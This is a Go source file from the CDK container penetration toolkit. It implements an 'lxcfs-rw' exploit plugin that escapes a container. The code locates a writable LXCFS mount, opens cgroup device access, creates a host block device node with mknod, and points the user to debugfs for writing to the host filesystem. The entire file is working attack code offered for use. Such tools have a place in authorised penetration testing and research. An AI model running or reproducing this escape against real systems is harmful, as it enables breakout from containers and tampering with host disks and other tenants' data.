lxcfs_rw_mknod.go

//go:build !no_lxcfs_rw && linux
// +build !no_lxcfs_rw,linux

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package exploit

import (
	"io/ioutil"
	"log"
	"os"
	"path"
	"strings"
	"syscall"

	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
)

const cgroupDevicePath string = "/sys/fs/cgroup/devices"
const devicesAllowName string = "devices.allow"
const devicesListName string = "devices.list"

// find rw lxcfs
func findTargetMountPoint(mi *util.MountInfo, filter string) bool {
	if mi.Device == "lxcfs" && util.IsDirectory(mi.MountPoint) {

		if !strings.Contains(mi.MountPoint, filter) {
			return false
		}

		for _, opt := range mi.Opts {
			if opt == "rw" {
				log.Printf("found rw lxcfs mountpoint: %s\n", mi.MountPoint)
				return true
			}
		}
	}
	return false
}

// find pods cgroup devices path
func findDevicesAllowPath(mi *util.MountInfo) bool {
	if mi.MountPoint == cgroupDevicePath {
		log.Printf("found pod devices.allow path: %s\n", mi.Root)
		return true
	}
	return false
}

func getDevicesAllow(path string) string {
	f, err := os.Open(path)
	if err != nil {
		log.Printf("open devices.list failed. %v\n", err)
		return ""
	}
	defer f.Close()

	b, err := ioutil.ReadAll(f)
	if err != nil {
		log.Printf("read devices.list failed. %v\n", err)
		return ""
	}

	return string(b)
}

func ExploitLXCFS() bool {
	var targetMountPoint string
	var podCgroupPath string
	var devicesAllowPath, devicesListPath string
	var deviceMarjor, deviceMinor string
	var filterString string

	mountInfos, err := util.GetMountInfo()
	if err != nil {
		log.Printf("%v", err)
		return false
	}

	// Responding to the case of mount the lxcfs path of other containers in the target container
	// ./cdk run lxcfs-rw "filter-string"
	args := cli.Args["<args>"].([]string)
	if len(args) < 1 {
		filterString = ""
	} else {
		filterString = args[0]
	}

	log.Printf("filter string for mount point is \"%s\"", filterString)

	for _, mi := range mountInfos {

		if findTargetMountPoint(&mi, filterString) {
			targetMountPoint = mi.MountPoint
		}
		if findDevicesAllowPath(&mi) {
			podCgroupPath = mi.Root
		}
		if util.FindTargetDeviceID(&mi) {
			deviceMarjor = mi.Major
			deviceMinor = mi.Minor
		}
	}

	devicesAllowPath = path.Join(targetMountPoint, "cgroup/devices", podCgroupPath, devicesAllowName)
	devicesListPath = path.Join(targetMountPoint, "cgroup/devices", podCgroupPath, devicesListName)

	log.Printf("set %s\n", devicesAllowPath)
	err = util.SetBlockAccessible(devicesAllowPath)
	if err != nil {
		log.Printf("%v", err)
		return false
	}
	devicesAllow := getDevicesAllow(devicesListPath)
	log.Printf("devices.allow content: %s", devicesAllow)
	if strings.Contains(devicesAllow, "a *:* rwm") {
		dev := util.MakeDev(deviceMarjor, deviceMinor)
		if dev == 0 {
			log.Printf("Blockdevice Marjor/Minor number invalid.")
			return false
		}
		err = syscall.Mknod("./host_dev", syscall.S_IFBLK|uint32(os.FileMode(0700)), dev)
		if err != nil {
			log.Printf("mknod err: %v", err)
			return false
		}
		log.Printf("exploit success, run \"debugfs -w host_dev\".")
		if !CheckDebugfs() {
			log.Printf("if debugfs can not used, may be you can try to run `./cdk run lxcfs-rw-cgroup 'shell-cmd-payloads`")
		}
		return true
	}
	return false
}

// CheckDebugfs check if debugfs is installed
func CheckDebugfs() bool {
	_, err := os.Stat("/usr/bin/debugfs")
	if err != nil {
		return false
	}
	return true
}

type lxcfsRWS struct{}

func (l lxcfsRWS) Desc() string {
	return "escape container by syscall mknod when root has LXCFS read & write privilege,  usage: `./cdk run lxcfs-rw`"
}

func (l lxcfsRWS) Run() bool {
	return ExploitLXCFS()
}

func init() {
	exploit := lxcfsRWS{}
	plugin.RegisterExploit("lxcfs-rw", exploit)
}